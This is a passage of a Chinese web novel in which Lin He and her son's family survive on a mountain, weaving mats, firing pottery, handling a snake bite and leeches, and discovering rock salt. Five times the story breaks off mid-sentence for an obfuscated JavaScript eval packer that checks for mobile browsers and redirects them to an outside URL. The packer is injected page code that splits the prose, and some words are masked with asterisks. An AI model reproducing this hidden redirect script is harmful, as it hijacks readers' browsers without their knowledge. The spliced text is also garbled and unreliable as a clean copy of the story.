“娘。”沈大山久久不见林禾回去，不放心找过来了。 “就回去了，你不用下来。”林禾挥手让沈大山站着不要走了。 沈大山满脸喜色，“娘，昨儿的茅草丛里还有好几窝鹧鸪蛋，我和三娘都捡回来了，二十几个嘞！” “那我们有口福了！”林禾闻言也笑了。 她本就是个无肉不欢的人，现在吃不到肉，吃些蛋好歹也算荤腥了。 沈大山见林禾的衣服又兜着一兜子东西，“娘，你又找到啥好东西了？” “板栗，一会儿回去烤着吃，生吃都行。” 林禾说着，抓了几个塞给他。 大小伙子正是牙口好的时候，吃板栗咬开就行。 她现在想吃，还得考虑考虑牙齿。 沈大山握着手里的板栗，眼眶一下就红了。 从前村里人都说沈家就只有一个儿子，笑他是沈家的长工，沈家根本不认他这个儿子。 但沈大山看着手里的板栗，知道娘心里还是有他这个儿子的。 沈大山快步跟上去，“娘，板栗给我拿吧。” “不用你拿，你去找个棍子把脚下的山芋挖出来。” 林禾兜着板栗不好动手，只能让沈大山来。 山里前几日才下过雨，土壤松软，沈大山拿着棍子插下去一撬就将山芋拔了出来。 “娘，这些山芋个头都不小！” 沈大山将长在草丛里的山芋一锅端，个个都有巴掌那么大，最后一个甚至和脸差不多大。 “这山里的土肥力都不错，长出的东西个头大。” 林禾动了开荒的心思。 不过现在手头上没有种子，等风头过去，再进城买些回来，偶尔吃这些山芋板栗还行。 林禾可不想连着吃一年。 碳水脑袋加米饭星人，受不了长时间不吃主食。 只是这段时间恐怕还不能下山，要换种子也得过些时日。 二人回去时，王三娘已经照着昨日林禾的法子将鹧鸪蛋埋进火堆里了。 林禾回来的时候就闻见香味，她把用衣服兜好的板栗放在地上，“这些板栗一会儿也扔进去，熟了一起吃。” 王三娘看着沈大山带回来的野山芋，忙起身接：“那我去将山芋洗干净，留着晚上吃。” 林禾洗干净手，转身就瞧见沈大山直接往火堆里扔板栗。 嘿！这倒霉孩子！怎么没点常识！ 林禾快步走过去，将已经扔进去的板栗用棍子挑出来，“板栗要开个口子再放进去，不然会炸开。” 沈大山面色讪讪道：“娘，这事我不知道。” 沈大山从前在家也没闲着，但他不干厨房里的活儿。 小时候跟着沈老爹在地里干活，后来沈老爹去世，他就自己在地里摸索着干活。 若说种麦子，翻地，垒田坝他在行。 但家里的琐碎事，他是不清楚的。 林禾知道缘由，没计较。 她原地蹲下，拿柴刀轻轻割开一道口子，随即将柴刀递给沈大山，“你试试！” 从现在开始学也不晚。 这事不难，沈大山看一遍就会，拿着柴刀在角落一刀一刀划。 “娘，他从前都不干这些事的。”王三娘搓洗着野山芋，嘴角带笑。 沈大山还是有些大男子主义的，觉得男主外女主内，干完活回家都是等着吃饭，也没有去厨房搭把手的意识。 林禾回头看了一眼地上处理好的板栗，“现在不是照样干的挺好？” “是。”王三娘觉得婆母真的不一样了，现在的婆母很好！ 板栗扔进火堆中，林禾就撤了几根粗柴出来，免得一不留神就烤焦了。 “都坐过来，我先教你们编简单的纹路，学会之后再往复杂的样式去编。” 林禾没忘记昨晚和她们说的话，趁着烤板栗的时间，拿了一把茅草过来。 这是她昨晚放在水池旁边泡好的茅草。 王三娘她们不比自己，拿到茅草就能用来编，她们刚学掌握不好力道，很容易将茅草拧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287092|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 断，泡水之后的茅草能增加草的韧性。 林禾先让她们从最简单的小垫子做起，垫子大，稍不容易就把握不住散了，巴掌大的小垫子最好发力。 林禾动一步就等她们一下，王三娘母女三人学得也认真，有模有样编下来，编得工整结实。 王三娘本就有女红功底，林禾不意外，但五岁半的大妞二妞也能编出来，林禾是意外的。 尤其是大妞编的草垫，细究起来比她娘编的还要工整。 这孩子有天赋！ 草垫编完，板栗也烤熟了。 沈大山把烧得黢黑的板栗挑出来，有些外壳已经碳化，但里面的板栗肉还是好的，只是有些烫。 林禾吹了吹表面的黑灰，顺着开好的口子一扒壳就开了。 因为是烤熟的，板栗肉上的那一层绒毛稍微一碰就掉了，有的甚至黏在壳上，根本不用管。 板栗肉咬下去的第一口粉糯绵密，牙齿轻碾就能在舌尖化开。 长在山里的板栗，又是松鼠严选，没有板栗的生涩，反而带着自然的清甜，嘴里还能明显感受到果肉里细微的颗粒感。 不加糖都快赶上街边的糖炒栗子了！ 不止林禾喜欢，其他几人身前也堆了一堆板栗壳。 板栗膳食纤维高，饱腹感强。 一捧板栗下肚，林禾手里的鹧鸪蛋还剩一个没吃就饱了。 除了沈大山，其他三人都一样，吃完板栗就饱了。 吃完饭，林禾拿着柴刀，准备将附近的草和灌木清理干净。 现在这个时节，蛇还不到频繁活动的时候，再过上半个月，山上的蛇只多不少。 若是门前有草丛，稍不留神就和它们亲密接触了。 山洞上面的大洞也得盖上，下雨再盖就来不及了。 但在此之前，山洞上长满的草和树也得清理掉。 沈大山不用林禾开口，他就踩着旁边的小土坡，拽着树枝爬了上去。 等他上去，林禾才给他递柴刀。 只有一把柴刀实在不方便，但现在也没办法。 人在什么都缺的时候，总能想出法子。 第7章 茅草编草席 林禾想起了之前在山洞里清理出来的石头，翻找一通就找到了两片合适的石块。 石块比手掌长一些，下端薄上端厚，省去打磨的时间，简直就是天然的石锄。 山洞顶上传来“笃笃笃”的声音。 沈大山把长在山洞上的那棵树砍了。 林禾觉得枝干粗细正好，让沈大山直接清理干净枝叶，在树干上凿开一个口子，好让石块上端能卡进去。 “娘，我好像凿大了些。”沈大山发现石块卡进去之后松松垮垮。 “刀给我。”林禾劈出一小块木片，直接塞进石块和口子中间，晃了晃，很牢固。 如法炮制，林禾又给王三娘也做了个简易石锄出来。 林禾看着还站在原地的沈大山，赶他上去继续清理洞顶。 “咱们一人一边，只要把平地上的草和灌木都挖掉就行。”林禾给王三娘分好活儿，扛着锄头开始挖。 这石锄虽然瞧着简陋，但用起来还真不差。 林禾挖草时，想要开荒心思越发强烈。 大妞二妞拿不动锄头，但是她们尽自己所能，抱着地上的草往旁边扔。 人还没草高，但干起活来效率却很高。 清理完洞口前的草，视野开阔不少，站在洞里也能看清上山的小路。 沈大山也从洞顶跳下来，“娘，草垫直接盖在上面吗？” “盖上草垫，再将我靠在洞口的那块石板搬上去压在上面。” 林禾说话时头也没回，拿着木根量洞口的高度。 她要做一扇门出来堵住洞口。 昨晚睡到半夜，她被风吹醒，加了好几根柴火才稍微好些。 今晚她不想再半夜被冷醒，门必须赶出来！ 洞口的高度不是一样的，有的地方高有的地方矮一些。 试了好几次，林禾找到了一个最合适的高度。 “你照着这个长度和大小砍一捆树枝回来，越多越好。” 沈大山刚从上面下来，就被林禾塞了一根树枝在手里。 他拎着柴刀往树丛走。 林禾带着王三娘她们编草席。 晚上睡在茅草堆上，软是真的，暖也是真的，但也改变不了茅草扎人的事实。 哪怕穿着衣裳，第二天醒过来，还是能从衣服里拽出来几根茅草，无孔不入。 早上沈大山和王三娘又割了一堆茅草回来，根本不用担心茅草不够用。 草席和草垫的基本编法都差不多，唯一不同的就是草席要锁边。 但让林禾意外的是，王三娘都还没学会锁边，大妞居然一下子就完成了。 又快又好。 至于二妞，一开始还好，进行到锁边的环节，完全乱了手脚，扯得乱七八糟。 大妞弄完自己的，就帮二妞补她弄坏的部分，游刃有余。 努力在天赋面前，果然稍显欠缺。 不过好在王三娘和大妞熟悉之后，跟林禾一起将草席编了出来。 一大张草席铺在茅草上，林禾试着坐上去，舒服多了，再也不用担心半夜被茅草攻击。 王三娘将周围的茅草清理干净放进火堆烧了，开口道：“娘，我去把山芋拿过来埋上吧。” 王三娘估摸着一会儿自家男人也该回来了，回来刚好能赶上吃午膳。 林禾嘱咐了一句：“埋的浅一些，隔一会儿捏着软了就用棍子翻一翻。” 这些野山芋个头不小，全部埋进去的话，外面都烤焦了，里面还可能是生的。 “诶！”王三娘照着林禾的话埋上了。 山洞前的草和灌木砍了之后，坐在山洞里一下就能外面。 所以沈大山一回来，二妞就发现了，“爹回来了！” 林禾原以为二妞是去接她爹。 谁曾想这小妮子跑出来拉着沈大山的衣摆，伸手去够他别在腰间的茶泡。 “你个眼睛尖的！慢一步能怎么样？等你爹进来还能少了你的一个茶泡啊！” 王三娘笑骂着走过去，帮沈大山卸背上的柴。 “茶泡先给奶奶吃！”二妞拿到茶泡之后先递给林禾，“奶奶对二妞好，二妞要孝顺奶奶。” 林禾看着这个借花献佛的小家伙，也接下了她给的茶泡，顺手又摸了一把她毛绒绒的脑袋，“谢谢二妞。” 大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287093|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妞看着妹妹和奶奶站在一起亲近的样子，守着火堆不出声，抿着唇独自难受。 林禾瞧见了，伸手揉了一把大妞的头，“大妞的草席编得也很好，等空下来换个样式教你，过段时间能直接拿下山卖钱。” 小孩的心思藏不住，听到夸奖，眼睛亮亮地盯着林禾。 几次相处下来，林禾也摸清这对双胞胎的性格。 虽说是双胞胎，但二人的性子截然不同。 大妞更像沈大山，不习惯邀功，更愿意埋头苦干，但渴望的情绪价值一点都不少，只是不愿意说罢了。 性子相较于二妞更加沉稳冷静。 二妞更像王三娘一点，性子活泼，自来熟但又不叫人讨厌，嘴巴甜懂得为自己讨好处。 这样的性子在外面其实更吃得开一些。 林禾见沈大山带回来的都是些小竹子，长短粗细都很合适，但这么多竹子，肯定是山里有一片竹林。 “你在哪里找到的竹林？” 林禾动了心思。 三月下旬正是竹笋疯狂冒尖的时候，现在能采到最嫩的竹笋。 “就在山的东面，我下去找的时候发现附近都是油茶树，没多少符合要求的，就往东面走了一段路，瞧见这些竹子就砍回来了。” 沈大山的话里明显带着些邀功的意味。 他说起来也还是个不到二十岁的小伙子，表达情绪的时候和大妞的样子如出一辙。 要不说这二人是父女呢？ “大山，好样的！”林禾给予他充分的肯定，“咱们一会儿再去一趟。” 沈大山听到娘夸自己了，嘿嘿一笑，立马应下来，“行！我一会儿给娘带路！” 林禾将沈大山带回来的竹棍用茅草编出来的草绳，一根一根先串起来，直到满足山洞的大小，才往竹棍中间插茅草。 一层叠一层，堵住竹棍之间的缝隙，保证风吹过来的时候不会漏进山洞。 林禾铺完一层后，再往里塞到一半就让沈大山在另外一边拽。 沈大山力气大，甚至有的时候还会拽过头。 但在二人的配合下，还是将这扇茅草门做了出来。 第8章 小竹林 林禾试着抬了一下，重！ 林禾当即就放弃了。 她怕再用力一点，把腰闪了。 更何况现在有便宜儿子在，免费的劳动力。 “大山，你将这个搬去洞口试一下效果。” 沈大山正是有一把子力气的年纪，林禾抬不起来的门，他一把就拉了起来。 “砰——” 沈大山把做好的门靠在洞口，山洞里的光线瞬间暗了一个度，只剩下火堆散发出来的暖光。 和光一起被挡住的还有吹进来的冷风。 “还不错。”林禾感受着草门的效果，很满意。 而且就算把草门关上，在山洞里生火，也不用担心空气不流通。 因为山洞四周的洞壁上全是大小不一的孔洞，透气得不能再透气。 做完草门，火堆里埋好的山芋也熟了。 口感粉糯香甜，就是干吃有些噎。 吃了几口下去，不止林禾抻着脖子往下咽，其余几个人一样。 都像王八出壳一样，抻着脖子往前伸。 吃得最大口的沈大山被噎住，忙起身去捧水喝。 林禾瞧见，觉得这样下去不是办法，得弄个锅出来才行，至少能喝上一口热乎的汤。 喝生水对付几天还可以，长期喝怕轻则闹肚子，重则感染寄生虫。 她以前和其他人一起巡山时，一出去就是一周，背上总会背一个小锅用来烧水喝。 喝开水一是为了暖身子，二是为了不喝生水感染寄生虫。 山里的水瞧着干净清澈，实则混在里面的虫卵不计其数，有些能自然代谢，有些就在肚子里安家了。 林禾瞧见自家傻大儿还在喝，抬手一巴掌糊过去，拍在他背上，“少喝一点！” “娘？”沈大山这一巴掌挨得莫名其妙，看见林禾的眼神，应了声，“噢。” 虽然他觉得娘比之前好，但性格还是和之前一样强势，叫人不敢反驳。 “带我去竹林看看。”林禾受不了这些粉糯的食物了。 她吃多了觉得嘴里没味。 实在是想念肉的味道啊…… 沈大山走在前面带路，林禾在后面也没闲着，一路上眼观六路，想找些其他的吃食。 山的东面没有西面那么多油茶树和松树，但路边长了不少新生的粽叶，还不到用来包粽子的时候。 但这个时候的粽叶用来包艾叶糍粑正好合适，蒿子粑粑也能用。 这两种糍粑的原料简直不要太好找，临近清明，蒿子和艾草遍地都是。 林禾走几步就能看见新长出来的艾草，只是现在没有糯米。 不然林禾不会放过它们！ “娘，就在前头。”沈大山领着林禾下了一个小坡，对面长了一大片竹子。 其实也算不上竹林，只是长在山坡上的一片小竹子，长得不算高大粗壮，但胜在数量多，从远处看也是郁郁葱葱一整片。 林禾已经在外面瞧见好几根刚冒尖的小竹笋了。 她扶着手边的竹子，弯腰钻进去，这里面果然还有不少竹笋。 长得快的已经和小臂一样长，但大多数竹笋还只有手掌那么长，“还不到摘的时候，再等几天过来。” 沈大山个子高，身材壮，等林禾钻出来，他才勉强挤进来，但刚进来就被赶了出去。 不为其他，林禾瞧见他进来的时候踩坏了几根刚冒头的小竹笋。 眼里浮现出嫌弃，“脚这么大，不要往里走了，竹笋都让你踩坏了！” 林禾这一刻，有些理解她妈以前嫌弃她的原因了。 可能是因为她也总是干一些蠢事。 世界上没有真正感同身受，直到自己成为那个角色。 沈大山又慢慢退了出去，挠着脑袋道歉。 “没事，被踩死的不是我，你和我道歉我肯定原谅你。” 林禾开玩笑的功夫，嘴边的笑还没收回去。 突然踩空，脚下一滑，从山坡上摔了下来。 “娘，你没事吧？”沈大山见状，怕林禾摔坏了，忙过去扶。 林禾摸了一把屁股，幸好这只是个小土坡，还是屁股先着地。 不然就不好说了。 林禾捻了捻手上的泥，刚想蹭到一边的野草上，突然觉得这泥似乎黏性不错。 她转身将山坡上的草扯开，挖了一撮泥土捏在手上，黄褐色的土很常见，但被挖开的地方却是层层叠叠的淤泥状断层。 这不是黏土吗？ “看来这一跤没白摔。”林禾感慨自己运气好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287094|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，早上还在想没锅煮水，现在这不就有了嘛！ “大山，你回去把锄头拿来，我们要挖些土回去烧陶。” 沈大山将石锄拿过来之后，后知后觉道：“娘，你啥时候学的烧陶啊？咱们在山上也没窑啊？” “我是你娘不是你媳妇儿，我会什么要全部和你说吗？”林禾给了他一个白眼，“过来把这些泥搬回去！” 林禾觉得还是不能对他太和善，得学原主的做派，免得他天天问来问去，露馅不好圆。 林禾直接下命令之后，沈大山果然闭嘴照做。 黏土在野外发现大多都是一层叠一层的块状泥土，轻易不会散开。 要不是前不久山里下过雨，这几天也都是阴天，这黏土恐怕还硬得像石头，要想挖下来还得费一番功夫。 黏土的密度较大，重量也不轻，沈大山哪怕有林禾帮忙，把这些黏土搬回去也累得满头大汗。 林禾更不用说，湿冷的环境里，她的背后都全是汗。 山里的风一吹，透心凉！ 幸好及时回了山洞，把草门一关，暖暖的，很安心。 “这是带了什么回来？”王三娘看着满头大汗的二人，放下手里编到一半的草席过来帮忙。 “这个重，我来就行。”沈大山手里的黏土叠了好几块在上面，很重。 他绕开王三娘，照着林禾的话放在水池边的石块上。 水池边因为洞壁上一直有水流下来，形成了一片光滑的石板，正好适合用来放黏土。 “怎么带了陶土回来？要烧陶吗？”王三娘一句话，成功让林禾转身。 林禾的语气中带着惊喜，还有一丝笃定，“你懂烧陶！” 不懂的人看见这一堆泥巴只会好奇，但她能一眼就瞧出来这是烧陶用的黏土。 “我爹帮人烧瓦的时候也帮人烧陶，我在一边也跟着学了些皮**。” 王三娘早年家中还是富裕过的，她爹靠着烧瓦不仅能赚钱养家，还给家里攒了些家底。 不过后来她弟弟去**，输了不少钱，媳妇本赔进去了还欠不少外债，她爹也为了还债累坏身子，债还没还完就**。 王三娘能嫁给沈大山，也是为了用聘礼给弟弟还债，不然照沈大山家的条件，只能算高攀她。 第9章 被蛇咬了 “皮**也够了，咱们烧出来什么样子都认了，只要能用！” 实用比什么都强！ 林禾光认识黏土，但她不会烧陶，本来还想着一次不成功就多试几次，这才搬了这么多黏土回来。 这下有专业的人来，总比她一个人乱来强。 “那我试试。”王三娘应下了。 烧陶最重要的除了温度外，就是处理陶泥。 王三娘处理陶泥的手法娴熟，一看就不像她所说的那般只懂一点皮**。 也是，长在农家的孩子，哪一个不是干活长大的，说是在一旁看着，但绝对没少打下手。 王三娘还是家中长姐，自小跟在父亲身边肯定没少干活。 揉泥是个力气活，需要反复多次并且要将里面的气都排出去，不然烧出的陶器上会有麻麻赖赖的小疙瘩。 林禾瞧见还愣在一边的便宜儿子，挑眉道：“你就看着你媳妇儿干活？” “娘，这个我不会。” “不会就学！”林禾将人拽过去，对着王三娘道：“你教教我们。” “诶！”王三娘喘着气，支起腰，刚想拨开卡在眼角的头发，但手伸到眼前才发现满手都是泥。 “啧！”林禾用手肘捅了一下沈大山，“帮忙！” 真是块木头！这样的人能娶到媳妇，早死的爹在地上头都磕烂了吧！ 林禾提醒，沈大山这才反应过来，帮王三娘把脸上的头发别到耳后。 有了沈大山和林禾加入，制陶泥的进度快了不少，直到陶泥没了颗粒感，类似面团的感觉，才算完成。 “要放一个时辰，我们可以先把地窑挖出来。” 王三娘搓洗干净手上的泥，带着二人往外走，“就在门口就行，通风透气。” “行，你歇会儿，我和大山去挖，一会儿你还有的忙。” 林禾把石锄拿了一把在手上，又递了一把给沈大山。 王三娘指挥二人挖多深多宽。 等坑挖好了，时辰也差不多了。 王三娘回去把陶泥揉开再次排气，林禾带着沈大山把坑底铺了一层碎石子，用来隔热，免得陶胚黏在坑底。 等林禾上去时，王三娘已经带着双胞胎开始捏陶器。 大妞一如既往发挥稳定，只看了一遍就能做得有模有样。 手工这一块儿，她手拿把掐。 二妞虽然没在帮忙，但也没捣乱啊！ 二妞见林禾走过去，举起自己手里捏好的动物给林禾看。 “奶，你看我捏的小鸟！好不好看？” 林禾在她身边坐下，也拿起一起陶泥攥在手里，“别管好不好看，你至少捏出来了。” 王三娘闻言，抿嘴偷笑，就连一向沉稳的大妞都听出言外之意，只有二妞还沉浸在她的艺术中无法自拔。 沈大山这回学乖了，知道主动坐下来跟着自家媳妇儿学捏陶器。 虽然他捏的和二妞有的一比，都丑得感人。 但至少也是一种进步。 林禾捏的陶器不如王三娘和大妞的美观，但也算实用。 看上去是五个人在干活，实际上只有三个人做出来的东西能用。 三人最后将锅碗瓢盆这些东西日常要用的容器都捏了出来。 一排排陶器靠在洞壁边阴干，幸好山洞里已经烧了两天火，没有之前那么阴冷，不然阴干的时间还得往后延迟。 等事情都弄完，外面的天已经黑透了。 火堆里埋着的野山芋也熟了，前几天在茅草堆里捡到的鹧鸪蛋，吃到现在也只能一人分到一个。 多出来的两个鹧鸪蛋，林禾做主留下来给两个孩子明天吃。 林禾白天活儿干多了，消耗也大，不管那野山芋噎不噎人，梗着脖子都吃完了。 就是晚上入睡前，心里还念着吃肉的事。 睡得迷迷糊糊，林禾仿佛又回到了自己巡山时的日子，和其他人带着阿婆做的盐焗大鸡腿，累了就坐在地上开吃。 大鸡腿就要塞进嘴里时，耳边的哭闹声骤然将她从梦中唤醒。 到嘴的肉飞了，林禾气得心都疼。 “奶！你快起来！有蛇啊！” 耳边是大妞的声音，身体也被人推搡。 林禾一听有蛇，条件反射里面爬起来，睁眼后却看见缩在王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287095|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三娘怀里抽泣的二妞。 “娘……我疼……” 王三娘的手还压着二妞被蛇咬伤的小腿，低声哄着：“二妞别怕啊！咱一会儿就下山给你找大夫！” 沈大山拿着棍子想将蛇赶出去，一时间慌了手脚，洞口的草门也没打开，只能驱赶蛇不要靠近。 林禾一看那蛇满身黑黄斑点，体型极长，几乎快赶上手臂粗，是一条菜花蛇。 菜花蛇没毒。 “三娘，别急，这蛇没毒。” 林禾轻声安抚住一脸焦急的王三娘，快步朝着沈大山的方向走。 林禾略过沈大山，瞅准机会，快准狠一把掐住蛇尾，将蛇拽起来抡圈，甩几下趁着蛇还没反应过来，掐住七寸的位置拿在手上。 一连串动作，别说蛇没反应过来，沈大山几人也没反应过来。 沈大山愣愣开口：“娘……您抓蛇的手法从哪学的啊？” “别管，把柴刀拿过来。”林禾在山里碰见蛇都是常事了。 刚跟着经验丰富的前辈们巡山时，看见蛇也是怕的不行。 后来找前辈学了这个偏招，见到蛇大胆试了几次，慢慢也就不怕了。 林禾手起刀落，把这条肥美的菜花蛇用刀背拍**。 菜花蛇是没毒，也吃毒蛇，但它咬人是真的，咬住一口之后会连续咬。 林禾被咬过一次，咬一次还不够，甚至直接缠在她腿上继续咬。 若是不打死，恐怕以后都得提心吊胆，二妞之后也睡不安稳。 “好了，二妞，蛇被打**，咱们不用怕，这蛇没毒。” 林禾的话让二妞停止哭泣，但一双大眼睛里还留着泪水，窝在王三娘怀里时不时抽泣一声，看得人心疼不已。 “这蛇从哪里进来的？”林禾之前分明检查过一遍，没有发现其他大的洞口。 而且这菜花蛇这么粗，不可能从洞壁的小孔里钻出来。 剩下几人也面面相觑，显然都不知道，只知道睡着觉二妞突然就被咬了。 林禾先是检查了一遍草门，没发现有被蛇钻的痕迹，洞顶的地方也好好地盖着，连光都没透一丝进来。 第10章 凶悍的山蛭 不是洞口也不是洞顶，那就只能是从洞壁钻进来的。 林禾沿着洞壁开始找，终于在靠近水池的那边找到了一个被挤开的孔洞。 瞧着和那条菜花蛇的体型差不多大。 “鹧鸪蛋之前是不是放在这个位置？” 林禾如果没有记错的话，王三娘昨晚把鹧鸪蛋放在这里的草垫上了。 “是放在那边。” 王三娘的话让林禾确信自己没记错。 “蛋被蛇吃了，应该也是这两个蛋把蛇引进来的。” 林禾拿陶泥把洞口糊上。 洞是堵上了，但还是得弄些驱蛇虫的草药回来放着。 三月份还不是蛇最活跃的时候，等再过一个月，山上的蛇只会更多也更活跃。 林禾在山洞旁掐了一捧艾草，洗净后嚼烂敷在二妞的伤口上。 艾草有抗炎杀菌的效果，就算菜花蛇没有毒，被咬伤的地方也会有细菌，敷上以防万一。 林禾敷完药，开口安慰：“二妞，我们敷药了，伤口就会好，不用担心。” 她以前也被咬伤过，知道心里的恐慌其实比伤口的疼痛更让人焦虑。 “好……”二妞的嗓音带着哭腔，低头看着伤口，“凉凉的。” “凉凉的就证明药有效果了。” 林禾起身看见被丢在一边的菜花蛇，眼底闪过一丝可惜。 蛇肉也是肉，菜花蛇的肉质紧实，和鸡肉很像，甚至比鸡肉还要好吃。 可惜现在没有盐，菜花蛇处理起来不方便，去腥没做好的话，吃了也是一嘴土腥味。 林禾只能将打死的菜花蛇扔出山洞，特意扔远了一点，免得二妞瞧见又害怕。 经此一事，林禾让王三娘在家里用陶泥把一些较大的空洞都封上加固。 她自己则带着沈大山出了山洞，去找吃食，顺便在附近找一些驱蛇的草回来。 三月下旬，她若是没有记错，蕨菜也是这个季节生长。 蕨菜喜欢长在湿润但透气的地方，光照也要足。 所有林禾没打算走之前去过的地方，那些地方都背光，长蕨菜的可能性不大。 今日是难得的晴天，这样的天气在现在这个季节不多见。 林禾寻着向阳面去找，走到了山的北边。 这个时候的太阳不晒也不暖和，最多就是起一个装饰的作用。 就像冰箱里的灯一样，只有一个照明的作用。 “娘，这边水多，你小心些。”沈大山刚把脚从水坑里抬起来。 他那双烂布鞋上都是泥巴。 林禾走在上面一点，干爽又平坦，“你走上来，跟在我后面。” 林禾说完就继续往前走，她已经看到了前面冒头的蕨菜，水灵灵地长在山坡上的小路边。 越往前走，蕨菜长得就越密。 从小小细细的卷，到大拇指粗的大卷，翠绿的、褐色的、紫色的，各种颜色的蕨菜都有。 细小又翠绿的大部分都是刚长出来没几天的蕨菜，口感更嫩，已经变紫的蕨菜卷儿更大，口感上更有韧劲儿，有些老了。 更适合用来做凉拌菜或者蕨菜干。 林禾瞧见了也不挑，沿着小路开始掐。 “嗒嗒嗒——” 一阵脆响，林禾手里已经抱了不少蕨菜。 蕨菜这个时候正是疯长的季节，掐光了也不怕。 只要不把根刨了，不过几天的功夫就又会重新长出来。 “大山，你去扯根树藤过来捆蕨菜。”林禾没回头。 沈大山忍着脚上的疼，应了声：“一会儿我去扯。” 林禾听出他声音不对，往回一看，他挽起裤腿，正蹲在地上抓什么东西。 林禾走过去一看，才瞧见他脚腕和脚背上爬了好几条山蛭，他正在用手往外扯，腿也呼呼往外冒血。 “别扯！” 林禾赶过去一巴掌拍在沈大山的手上，拿一旁的柴刀贴着他的腿往下刮。 山蛭的吸附力被破坏，缩成一团掉在地上，也仅仅只是一瞬间，立刻又要朝着沈大山的腿跳过来。 林禾手快，拿柴刀拍死在地上。 “娘，这是什么玩意儿啊？还吸人血！” 沈大山显然没见过这玩意，被吓得不轻，脸都白了。 “旱蚂蟥，下次碰到不要用手硬扯，很容易**。” 林禾知道他听不懂细菌感染，只能用**表达。 山蛭也就是旱蚂蟥，比水里的蚂蟥还要恐怖，跳起来能弹几米高。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287096|182632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只要有条缝就逮着往里钻，一吸一个血窟窿。 “噢噢！”沈大山看着地上被拍死的山蛭心有余悸。 林禾起身才发现，下面积水的地方落满枯叶，又恰好被山挡住阳光，晒不着下面，这些山蛭才会都活跃在下面。 也难怪沈大山会沾上这些东西，他刚从下面上来。 幸好上来的快，不然就不是三两只这么简单了。 林禾看了一眼爬在枯叶上密密麻麻的山蛭，有些好奇。 这道坎儿也不算高，怎么这里就没有一条山蛭爬上来呢？ 莫非这里有它们害怕的东西？ 林禾找了一圈也只发现长在路上的草和蕨菜。 山蛭和水蛭一样，都只怕有刺激性气味的东西。 这些野草再普通不过，也没有刺激性的味道，为什么它们不敢上来？ 林禾正纳闷，沈大山一把扯下挂在山坡上的藤蔓。 他力气大，一下将长在山坡上的整片藤蔓都扯了下来。 原本被藤蔓挡住的“山坡”露出真面目。 这背后根本就不是什么山坡，而是结实的崖壁，仔细看崖壁上还有些细小的白色晶体。 不仔细看还发现不了，但林禾巡了这么多年山，一眼就发现了异常。 她凑过去用指甲刮下来一点白色晶体，心里有一个大胆的猜想。 林禾将刮下来的晶体放进嘴里。 果然是咸的！ 这些白色晶体是盐！ 这崖壁恐怕是盐岩，只有在有天然盐矿的地方，才会在形成这样的盐岩。 风吹日晒下盐矿里的盐析出表面才会形成这样一层白色晶体包裹在石头上。 这山里居然还藏着天然盐矿！ 难怪，难怪那些山蛭不往上跳，原来是因为山壁上有盐！ 山蛭最怕的就是盐！ 林禾压下心中的震惊，赶忙从路旁拽了几片粽叶，双手一卷形成一个漏斗状的临时容器。 “把柴刀给我。”林禾从沈大山手里接过柴刀，随手在衣服上蹭了蹭就开始刮崖壁上的盐。 越往里刮，白色晶体越多。 林禾越发确信心中的猜想没错。 她没再往下刮，而是敲下几块石头拿在手上。 第11章 天然调料 敲下来的盐石带回去只要简单处理就能炼成粗盐，精细一些处理，甚至能炼出细盐。 与其站在此处刮下来带着细沙的盐，不如敲几块盐石带回去省事。 